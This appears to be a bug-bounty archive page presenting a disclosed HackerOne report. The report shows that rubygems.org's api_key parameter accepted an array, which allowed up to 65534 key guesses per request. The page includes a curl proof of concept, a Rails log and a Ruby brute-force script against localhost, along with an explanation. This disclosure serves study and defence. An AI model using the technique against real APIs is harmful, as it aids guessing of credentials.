Skip to content
Business logic Disclosed report Intermediate

65534 times efficient, Brute-force attack for api_key

The api_key parameter was not type-checked, so an attacker could supply an array of keys instead of a single string. This made the lookup query match any of the supplied keys at once, allowing many guesses per request, though the author judged the practical impact minimal.

ooooooo_q Follow

Originally disclosed on HackerOne

  • Triaged in 5 hours
  • Fixed in 9 days
  • Disclosed after 14 days

I have found that type checking for api_key is insufficient in rubygems.org's source code.

https://github.com/rubygems/rubygems.org/blob/master/app/controllers/application_controller.rb#L63

Ruby
def authenticate_with_api_key
  api_key   = request.headers["Authorization"] || params[:api_key]
  @api_user = User.find_by_api_key(api_key)
end

Using an array in params[:api_key] makes searching for api_key more efficient.

poc

  1. start server in local
  2. Access url with multiple api_key
$ curl --globoff 'http://localhost:3000/api/v1/gems?api_key[]=key1&api_key[]=key2'
> Access Denied. Please sign up for an account at https://rubygems.org

rails log

LOG
Started GET "/api/v1/gems?api_key[]=key1&api_key[]=key2" for ::1 at 2018-11-24 23:03:30 +0900
Processing by Api::V1::RubygemsController#index as */*
  Parameters: {"api_key"=>["key1", "key2"]}
  User Load (0.5ms)  SELECT  "users".* FROM "users" WHERE "users"."api_key" IN ($1, $2) LIMIT $3  [["api_key", "key1"], ["api_key", "key2"], ["LIMIT", 1]]
  ↳ app/controllers/application_controller.rb:65
  Rendering text template
  Rendered text template (0.0ms)
Filter chain halted as :verify_authenticated_user rendered or redirected
Completed 401 Unauthorized in 2ms (Views: 0.3ms | ActiveRecord: 0.5ms | Elasticsearch: 0.0ms)

Impact

As a result of trying how much it can be sent using POST, 65534 api_key's could be sent. A postgres error will occur if you send more values.

Here is the script used for confirmation.

Ruby
require 'net/http'
require 'securerandom'
require 'json'

keys = 65534.times.map{SecureRandom.hex(32)}
# keys = 65535.times.map{SecureRandom.hex(32)} # error

uri = URI.parse("http://localhost:3000/api/v1/web_hooks/fire.json?url=http://example.com/")
http = Net::HTTP.new(uri.host, uri.port)
req = Net::HTTP::Post.new(uri.path)
req["Content-Type"] = "application/json"
req.body = {api_key: keys}.to_json

res = http.request(req)

Attacks against api_key are 65534 times more efficient, but since the string generated by SecureRandom.hex (32) has sufficient length, the impact seems to be minimal.

The original report as published on HackerOne, by ooooooo_q. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The code took the api_key value straight from request parameters without checking it was a single string, so an array was passed into the database lookup and turned into a multi-value match.

Impact

An attacker could test up to 65534 keys in a single request, making brute force far more efficient, but the author notes the impact seems minimal because generated keys are long enough.

What the attacker needed

Access to the API endpoint; no valid key needed

How it was found

  1. Start the application server locally.
  2. Send a request to an API endpoint with several api_key values supplied as an array.
  3. Observe the database query matching any of the supplied keys and the request being rejected as unauthenticated.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An API key is a secret string a program sends to prove who it is. The site expected one key but accepted a list, and its database lookup then checked the whole list in one go, so someone could try thousands of guesses per request instead of one.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by ooooooo_q

View all

53 more disclosed reports, best first.

More from RubyGems

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.